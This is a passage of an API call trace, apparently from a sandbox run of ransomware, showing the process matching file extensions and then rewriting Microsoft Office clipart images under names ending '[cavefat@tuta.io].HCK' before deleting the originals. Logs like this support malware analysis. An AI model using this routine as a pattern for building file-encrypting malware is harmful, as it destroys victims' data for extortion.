(lpString=".xlsx") returned 5 [0172.684] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1 [0172.684] lstrlenW (lpString=".ppt") returned 4 [0172.684] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0172.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382926.JPG") returned 68 [0172.684] lstrlenW (lpString=".zip") returned 4 [0172.684] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0172.684] lstrlenW (lpString=".rar") returned 4 [0172.684] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0172.684] lstrlenW (lpString=".bz2") returned 4 [0172.684] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0172.684] lstrlenW (lpString=".7z") returned 3 [0172.684] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0172.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382926.JPG") returned 68 [0172.684] lstrlenW (lpString=".dbf") returned 4 [0172.685] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0172.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382926.JPG") returned 68 [0172.685] lstrlenW (lpString=".1cd") returned 4 [0172.685] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0172.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382926.JPG") returned 68 [0172.685] lstrlenW (lpString=".jpg") returned 4 [0172.685] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0172.685] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0172.685] lstrlenW (lpString="J0382931.JPG") returned 12 [0172.685] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382931.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382931.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0172.705] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=122691) returned 1 [0172.705] CloseHandle (hObject=0x368) returned 1 [0172.705] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382931.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382931.jpg")) returned 0x220 [0172.707] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382931.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382931.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0172.708] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382931.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382931.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0172.710] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.710] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.710] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382931.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382931.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0172.713] GetLastError () returned 0x0 [0172.713] ReadFile (in: hFile=0x3a0, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x1df43, lpOverlapped=0x0) returned 1 [0172.731] WriteFile (in: hFile=0x3a8, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x1df50, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x1df50, lpOverlapped=0x0) returned 1 [0172.733] ReadFile (in: hFile=0x3a0, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0172.733] WriteFile (in: hFile=0x3a8, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0172.733] SetEndOfFile (hFile=0x3a8) returned 1 [0172.733] CloseHandle (hObject=0x3a8) returned 1 [0172.734] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.734] SetEndOfFile (hFile=0x3a0) returned 1 [0172.735] CloseHandle (hObject=0x3a0) returned 1 [0172.735] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382931.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0172.735] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382931.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382931.jpg")) returned 1 [0172.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382931.JPG") returned 68 [0172.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382931.JPG") returned 68 [0172.735] lstrlenW (lpString=".doc") returned 4 [0172.735] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0172.735] lstrlenW (lpString=".docx") returned 5 [0172.735] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1 [0172.735] lstrlenW (lpString=".pdf") returned 4 [0172.735] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0172.735] lstrlenW (lpString=".xls") returned 4 [0172.735] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0172.735] lstrlenW (lpString=".xlsx") returned 5 [0172.735] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1 [0172.735] lstrlenW (lpString=".ppt") returned 4 [0172.735] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0172.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382931.JPG") returned 68 [0172.735] lstrlenW (lpString=".zip") returned 4 [0172.735] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0172.736] lstrlenW (lpString=".rar") returned 4 [0172.736] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0172.736] lstrlenW (lpString=".bz2") returned 4 [0172.736] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0172.736] lstrlenW (lpString=".7z") returned 3 [0172.736] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0172.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382931.JPG") returned 68 [0172.736] lstrlenW (lpString=".dbf") returned 4 [0172.736] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0172.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382931.JPG") returned 68 [0172.736] lstrlenW (lpString=".1cd") returned 4 [0172.736] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0172.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382931.JPG") returned 68 [0172.736] lstrlenW (lpString=".jpg") returned 4 [0172.736] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0172.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382931.JPG") returned 68 [0172.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382931.JPG") returned 68 [0172.736] lstrlenW (lpString=".doc") returned 4 [0172.736] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0172.736] lstrlenW (lpString=".docx") returned 5 [0172.736] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1 [0172.736] lstrlenW (lpString=".pdf") returned 4 [0172.736] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0172.736] lstrlenW (lpString=".xls") returned 4 [0172.736] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0172.736] lstrlenW (lpString=".xlsx") returned 5 [0172.736] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1 [0172.736] lstrlenW (lpString=".ppt") returned 4 [0172.736] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0172.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382931.JPG") returned 68 [0172.736] lstrlenW (lpString=".zip") returned 4 [0172.736] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0172.736] lstrlenW (lpString=".rar") returned 4 [0172.736] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0172.736] lstrlenW (lpString=".bz2") returned 4 [0172.736] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0172.736] lstrlenW (lpString=".7z") returned 3 [0172.736] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0172.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382931.JPG") returned 68 [0172.736] lstrlenW (lpString=".dbf") returned 4 [0172.736] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0172.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382931.JPG") returned 68 [0172.736] lstrlenW (lpString=".1cd") returned 4 [0172.736] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0172.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382931.JPG") returned 68 [0172.736] lstrlenW (lpString=".jpg") returned 4 [0172.737] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0172.737] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0172.737] lstrlenW (lpString="J0382947.JPG") returned 12 [0172.737] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382947.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382947.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0172.737] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=86812) returned 1 [0172.737] CloseHandle (hObject=0x3a0) returned 1 [0172.737] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382947.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382947.jpg")) returned 0x220 [0172.737] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382947.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382947.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0172.737] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382947.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382947.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0172.738] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.738] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.738] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382947.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382947.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0172.738] GetLastError () returned 0x0 [0172.738] ReadFile (in: hFile=0x3a0, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x1531c, lpOverlapped=0x0) returned 1 [0172.762] WriteFile (in: hFile=0x3a8, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x15320, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x15320, lpOverlapped=0x0) returned 1 [0172.764] ReadFile (in: hFile=0x3a0, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0172.764] WriteFile (in: hFile=0x3a8, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0172.764] SetEndOfFile (hFile=0x3a8) returned 1 [0177.777] CloseHandle (hObject=0x3a8) returned 1 [0177.777] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.777] SetEndOfFile (hFile=0x3a0) returned 1 [0177.778] CloseHandle (hObject=0x3a0) returned 1 [0177.778] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382947.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0177.779] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382947.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382947.jpg")) returned 1 [0177.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382947.JPG") returned 68 [0177.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382947.JPG") returned 68 [0177.782] lstrlenW (lpString=".doc") returned 4 [0177.782] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0177.782] lstrlenW (lpString=".docx") returned 5 [0177.782] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0177.782] lstrlenW (lpString=".pdf") returned 4 [0177.782] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0177.782] lstrlenW (lpString=".xls") returned 4 [0177.782] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0177.782] lstrlenW (lpString=".xlsx") returned 5 [0177.782] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0177.782] lstrlenW (lpString=".ppt") returned 4 [0177.782] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0177.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382947.JPG") returned 68 [0177.782] lstrlenW (lpString=".zip") returned 4 [0177.782] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0177.782] lstrlenW (lpString=".rar") returned 4 [0177.782] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0177.782] lstrlenW (lpString=".bz2") returned 4 [0177.783] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0177.783] lstrlenW (lpString=".7z") returned 3 [0177.783] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0177.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382947.JPG") returned 68 [0177.783] lstrlenW (lpString=".dbf") returned 4 [0177.783] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0177.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382947.JPG") returned 68 [0177.783] lstrlenW (lpString=".1cd") returned 4 [0177.783] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0177.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382947.JPG") returned 68 [0177.783] lstrlenW (lpString=".jpg") returned 4 [0177.783] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0177.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382947.JPG") returned 68 [0177.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382947.JPG") returned 68 [0177.783] lstrlenW (lpString=".doc") returned 4 [0177.783] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0177.783] lstrlenW (lpString=".docx") returned 5 [0177.783] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0177.783] lstrlenW (lpString=".pdf") returned 4 [0177.783] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0177.783] lstrlenW (lpString=".xls") returned 4 [0177.783] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0177.783] lstrlenW (lpString=".xlsx") returned 5 [0177.783] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0177.783] lstrlenW (lpString=".ppt") returned 4 [0177.783] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0177.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382947.JPG") returned 68 [0177.783] lstrlenW (lpString=".zip") returned 4 [0177.783] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0177.783] lstrlenW (lpString=".rar") returned 4 [0177.783] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0177.783] lstrlenW (lpString=".bz2") returned 4 [0177.783] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0177.783] lstrlenW (lpString=".7z") returned 3 [0177.783] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0177.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382947.JPG") returned 68 [0177.783] lstrlenW (lpString=".dbf") returned 4 [0177.783] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0177.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382947.JPG") returned 68 [0177.783] lstrlenW (lpString=".1cd") returned 4 [0177.783] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0177.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382947.JPG") returned 68 [0177.783] lstrlenW (lpString=".jpg") returned 4 [0177.783] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0177.783] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0177.783] lstrlenW (lpString="J0382954.JPG") returned 12 [0177.783] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382954.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382954.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0177.789] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=88703) returned 1 [0177.789] CloseHandle (hObject=0x370) returned 1 [0177.789] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382954.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382954.jpg")) returned 0x220 [0177.791] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382954.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382954.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0177.791] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382954.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382954.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0177.793] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.793] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.793] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382954.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382954.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0177.796] GetLastError () returned 0x0 [0177.796] ReadFile (in: hFile=0x300, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x15a7f, lpOverlapped=0x0) returned 1 [0177.798] WriteFile (in: hFile=0x370, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x15a80, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x15a80, lpOverlapped=0x0) returned 1 [0177.800] ReadFile (in: hFile=0x300, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0177.800] WriteFile (in: hFile=0x370, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0177.800] SetEndOfFile (hFile=0x370) returned 1 [0177.802] CloseHandle (hObject=0x370) returned 1 [0177.803] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.803] SetEndOfFile (hFile=0x300) returned 1 [0177.807] CloseHandle (hObject=0x300) returned 1 [0177.808] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382954.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0177.808] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382954.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382954.jpg")) returned 1 [0177.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382954.JPG") returned 68 [0177.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382954.JPG") returned 68 [0177.857] lstrlenW (lpString=".doc") returned 4 [0177.857] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0177.857] lstrlenW (lpString=".docx") returned 5 [0177.857] lstrcmpiW (lpString1=".docx", lpString2="4.JPG") returned -1 [0177.857] lstrlenW (lpString=".pdf") returned 4 [0177.857] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0177.857] lstrlenW (lpString=".xls") returned 4 [0177.857] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0177.857] lstrlenW (lpString=".xlsx") returned 5 [0177.857] lstrcmpiW (lpString1=".xlsx", lpString2="4.JPG") returned -1 [0177.857] lstrlenW (lpString=".ppt") returned 4 [0177.857] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0177.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382954.JPG") returned 68 [0177.857] lstrlenW (lpString=".zip") returned 4 [0177.857] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0177.857] lstrlenW (lpString=".rar") returned 4 [0177.857] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0177.857] lstrlenW (lpString=".bz2") returned 4 [0177.857] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0177.858] lstrlenW (lpString=".7z") returned 3 [0177.858] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0177.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382954.JPG") returned 68 [0177.858] lstrlenW (lpString=".dbf") returned 4 [0177.858] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0177.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382954.JPG") returned 68 [0177.858] lstrlenW (lpString=".1cd") returned 4 [0177.858] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0177.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382954.JPG") returned 68 [0177.858] lstrlenW (lpString=".jpg") returned 4 [0177.858] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0177.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382954.JPG") returned 68 [0177.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382954.JPG") returned 68 [0177.858] lstrlenW (lpString=".doc") returned 4 [0177.858] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0177.858] lstrlenW (lpString=".docx") returned 5 [0177.858] lstrcmpiW (lpString1=".docx", lpString2="4.JPG") returned -1 [0177.858] lstrlenW (lpString=".pdf") returned 4 [0177.858] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0177.858] lstrlenW (lpString=".xls") returned 4 [0177.858] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0177.858] lstrlenW (lpString=".xlsx") returned 5 [0177.858] lstrcmpiW (lpString1=".xlsx", lpString2="4.JPG") returned -1 [0177.858] lstrlenW (lpString=".ppt") returned 4 [0177.858] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0177.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382954.JPG") returned 68 [0177.858] lstrlenW (lpString=".zip") returned 4 [0177.858] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0177.858] lstrlenW (lpString=".rar") returned 4 [0177.858] lstrcmpiW 